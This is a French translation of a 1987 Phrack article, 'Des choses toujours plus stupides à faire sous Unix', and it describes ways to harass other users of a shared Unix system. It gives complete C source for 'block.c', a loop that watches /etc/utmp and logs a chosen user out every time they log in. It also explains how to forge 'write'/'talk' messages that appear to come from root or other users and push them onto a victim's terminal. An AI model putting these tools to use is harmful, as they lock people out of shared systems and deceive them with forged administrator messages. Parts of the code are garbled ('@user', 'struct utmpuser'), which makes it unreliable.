===== Phrack Magazine presente le Phrack 15 ===== ===== Article 2 sur 8 ===== J'ai pensé avoir écrit tout ce qu'il est possible d'écrire au sujet du système d'exploitation Unix jusqu'à ce que je sois récemment invité à publier encore un autre article ... aussi j'ai dit "j'essayerai, mais ne publiez pas mon article en même temps que celui de The Radical Rocker cette fois-ci !" Ces demandes m'ayant été accordées, j'ai démarré le PC et je me suis mis au travail ... --- ------ -------- ---- -------- - ----- ---- ---- % Des choses toujours plus stupides à faire sous Unix ! % --- ------ -------- ---- -------- - ----- ---- ---- Par Shooting Shark Soumis le 26 août 1987 Traduit par Deny Ces deux sujets sont des méthodes destinées à ennuyer les autres utilisateurs du système et en général à se comporter comme un parasite. Mais auriez-vous aimé consulter un article consacré à faire des choses constructives sous Unix ? Je ne pense pas ... -- ------ --- ------------ -- ------ -- ------- 1. Garder les utilisateurs en dehors du système -- ------ --- ------------ -- ------ -- ------- À présent, tout le monde sait comment fermer la session d'utilisateurs (une méthode est de rediriger une commande "stty 0" vers leur tty) mais à moins que vous n'ayez les privilèges root, cela ne fonctionnera pas si un utilisateur à définit "mesg n" et empêché d'autres utilisateurs d'écrire sur leur terminal. Toutefois, même les utilisateurs qui ont une commande "mesg n" dans leur fichier .login (ou .profile ou .cshrc) risquent encore d'être vulnérable, entre le temps ou ils ouvrent et ou ils bloquent leur terminal. J'ai conçu le programme suivant, block.c, pour tirer profit de cette faille. Pour faire fonctionner ce source sur votre système Unix favori, téléchargez-le, nommez-le block.c et saisissez ce qui suit à l'invite de commande % ou $ : cc -o block block.c une fois que vous avez réussi à le compiler, il est exécuté de la manière suivante : block username [&] Le & est facultatif mais recommandé - il exécute le programme en tâche de fond, vous permettant de ce fait de faire autre chose pendant qu'il est en action. Si l'utilisateur indiqué est connecté actuellement, le programme le déconnecte immédiatement (si c'est possible) et attend que l'utilisateur se reconnecte. S'il n'ést pas connecté, il commence par attendre. Si l'utilisateur est connecté actuellement mais que ses messages ne sont pas disponibles, vous devez attendre jusqu'à ce qu'il soit déconnecté pour lancer le programme. Block est essentiellement une boucle infinie : il continue de chercher l'occurrence du nom d'utilisateur dans /etc/utmp. Quand il le trouve, il le déconnecte sur le champ et continue. Si pour quelque raison la tentative de déconnexion échoue, le programme s'arrête. Normalement, cela ne se produira pas - le programme est très rapide quand il est exécuté sans modifications. Cependant, pour obtenir de telle performance, il exécute une boucle très courte et qui consommera beaucoup de ressources processeur. Notez que vers la fin du programme, il y a la ligne : /*sleep(SLEEP) */ Le /* et le */ sont des délimiteurs de commentaires - dans cet exemple, la ligne est commentée. Si vous supprimez les commentaires et recompilez le programme, il entrera dans une période de "sommeil" pendant le nombre de secondes définit par SLEEP (5 par défaut) à la fin de chaque boucle. Cela épargnera la charge du système mais diminuera légèrement la chance d'attraper l'utilisateur pendant sa "période de vulnérabilité". Si vous avez la chance d'exécuter ce programme sur un ordinateur de laboratoire dans une école ou dans un endroit similaire, lancez ce programme sur un ami (ou un ennemi) et observez sa réaction quand il essaie à plusieurs reprises de se connecter et qu'il est déconnecté avant d'avoir pu faire "quoique ce soit". C'est assez drôle. Ce programme est aussi assez malfaisant et peut vous valoir pas mal d'ennemis ! Avertissement #1 : notez que si vous exécutez le programme sur vous-même, vous serez déconnecté, le programme continuera à fonctionner (selon le shell utilisé) et vous vous serez enfermé vous-même en dehors du système, donc ne le faites pas ! Avertissement #2 : j'ai écrit ceci sous OSx version 4.0, qui est une version autorisée d'Unix< qui implémente 4.3bsd et AT&T sysV. Il n'y a aucune garantie qu'il fonctionne sur votre système. Avertissement #3 : si vous exécutez ce programme en tâche de fond, n'oubliez pas de l'arrêter quand vous n'en avez plus besoin ! (quand vous l'exécutez avec "&", le shell vous attribuera un numéro de tâche, tel que "[2] 90125". Si vous voulez l'arrêter plus tard pendant la même session, saisissez "kill %2". Si vous ouvrez une session plus tard et voulez le stopper, saisissez "kill 90125". N'hésitez pas à lire la page man de la commande kill si vous avez besoin d'aide ... ----- couper ici ----- /* block.c -- prevent a user from logging in * by Shooting Shark * usage : block username [@] * I suggest you run this in background. */ #include <stdio.h> #include <utmp.h> #include <ctype.h> #include <termio.h> #include <fcntl.h> #define W_OK2 #define SLEEP5 #define UTMP"/etc/utmp" #define TTY_PRE "/dev/" main(ac,av) int ac; char *av[]; { int target, fp, open(); struct utmpuser; struct termio*opts; char buf[30], buf2[50]; if (ac != 2) { printf("usage : %s username\n",av[0]); exit(-1); } for (;;) { if ((fp = open(UTMP,0)) == -1) { printf("fatal error! cannot open %s.\n",UTMP); exit(-1); } while (read(fp, @user, sizeof user) > 0) { if (isprint(user.ut_name[0])) { if (!(strcmp(user.ut_name,av[1]))) { printf("%s is logging in...",user.ut_name); sprintf(buf,"%s%s",TTY_PRE,user.ut_line); printf("%s\n",buf); if (access(buf,W_OK) == -1) { printf("failed - program aborting.\n"); exit(-1); } else { if ((target = open(buf,O_WRONLY)) != EOF) { sprintf(buf2,"stty 0 > %s",buf); system(buf2); printf("killed.\n"); sleep(10); } } /* else */ } /* if strcmp */ } /* if isprint */ } /* while */ close(fp); /*sleep(SLEEP); */ } /* for */ } ----- couper ici ----- -- ------- -------- ------------ ---- ----- -- ---- 2. Immiter d'autres utilisateurs avec write et talk -- ------- -------- ------------ ---- ----- -- ---- La prochaine astuce n'est pas exactement un travail spécialement étourdissant, mais c'est un petit tour (que chacun peut faire) que j'emploie parfois pour m'amuser et, comme avec ce qui précède, ennuyer mes amis et mes ennemis. Presque chaque système Unix a une application "write", pour dialoguer avec d'autres utilisateurs connectés. Voici un rapide résumé : Si vous voyez que l'utilisateur "clara" est connecté grâce à la commande "who", " w" ou autre, et que vous souhaitez lui parler pour quelque raison, vous saisirez "write clara". Clara verra alors s'afficher sur son écran quelque chose de ce genre (en admettant que vous soyez l'utilisateur "shark") : [3 ^G's] Message from shark on ttyi13 at 23:14 ... Vous pourrez alors lui écrire, et ce que vous écrirez sera transmis vers son terminal ligne par ligne. Si elle veut dialoguer avec vous plutôt que monologuer, elle saisira "write shark", et vous obtiendrez un message similaire à ce qui précède sur votre terminal, et vous pourrez dialoguer l'un l'autre selon votre bon vouloir. Si l'un d'entre vous souhaite abréger la conversation, il saisira ^D. Ils verront alors s'afficher les caractères EOF sur leur écran, mais ils pourront encore s'écrire jusqu'à ce qu'ils saisissent ^D Maintenant, si vous disposez d'une plus vaste installation, vous aurez probablement une certaine sorte de programme pleine-écran tel que "talk". Ma version de talk envoie le message suivant : Message from Talk_Daemon@tibsys at 23:14 ... talk: connection requested by shark@tibsys. talk: respond with: talk shark@tibsys En tout cas, c'est ici que la plaisanterie commence : Il est plutôt simple d'insérer un exemple de message généré par "write" ou "talk" dans un fichier et de l'éditer ensuite de sorte que le "from" soit une autre personne et que le terminal soit nommé différemment. Si vous voyez que votre ami simplet roger est sur ttyi10 et que root s'avère aussi être connecté sur ttyi01, forgez un dossier de la sorte : [3 control-G's] Message from root on ttyi01 at [the current time] wackawackawackawackawacka!!! [ou un message aussi confus et grossier ...] EOF Ensuite, transmettez ce fichier au terminal de roger avec : cat filename > /dev/ttyi10 Il recevra le message sur son terminal et se demandera de quoi le super-utilisateur veut bien parler. Il se pourrait même qu'il réponde à l'administrateur avec l'intention de lui demander "mais que diable me voulez-vous ?". Pour une efficacité maximale, envoyez simultanément un message à root avec comme expéditeur roger dans le terminal approprié avec un texte aussi incongru - ils engageront alors une conversation dans ce genre : "qu'est ce que vous voulez dire ?", "Qu'entendez-vous par qu'est ce que je veux dire ?" "Qu'entendez-vous par la ?" etc. Du bon temps garantit pour tous ! Notez que vous n'avez pas besoin de mettre sous root l'auteur de la plaisanterie, n'importe quelle paire d'utilisateurs connectés ayant un terminal propre à recevoir des messages peut se joindre à la plaisanterie. De même, on peut falsifier quelques pages générées par "talk" entre deux personnes ... elles commenceront probablement alors par dialoguer ... si bien que la conversation se déroulera selon le mode "que voulez-vous ?" "vous me parlez." "Vous m'embêtez, _vous_ me parlez!" etc, pendant que vous rirez bêtement ou quelque chose comme çà. Une variation sur ce thème : Ainsi que je l'ai dit, quand on emploie "write" on saisit un ^D pour finir la conversation, et la personne à qui vous écrivez voit s'afficher EOF sur son écran. Mais il est aussi possible de saisir simplement EOF, et on pensera que vous avez fini ... mais vous êtes toujours connecté à leur terminal. Même si plus tard ils cessent d'envoyer des messages, vous avez encore la possibilité d'écrire sur leur terminal. En gardant ceci à l'esprit, quiconque sachant ce qu'il fait peut écrire un programme semblable à mon programme "block" ci-dessus qui ne déconnecte pas un utilisateur quand il apparaît dans le système, mais ouvre son tty en tant que périphérique et garde le descripteur de fichier en mémoire de sorte que vous pouvez retransmettre vers son terminal - pour écrire des messages grossiers, les déconnecter ou ce que vous voulez - à tout moment, jusqu'à ce qu'ils s'en aillent. Ainsi que je l'ai dit, il n'y a pas beaucoup d'ingéniosité dans le discours ci-dessus, mais c'est un passe-temps que j'apprécie de temps en temps ... -- Shooting Shark "la première chose à voir est qu'unix n'a pas été développé avec la sécurité, quelqu'en soit le sens réel, à l'esprit..." -- Dennis M. Ritchie "Oryan QUEST ne pourrait pas s'infiltrer dans un system UNIX, laissez-le essayez." -- Tharrys Ridenow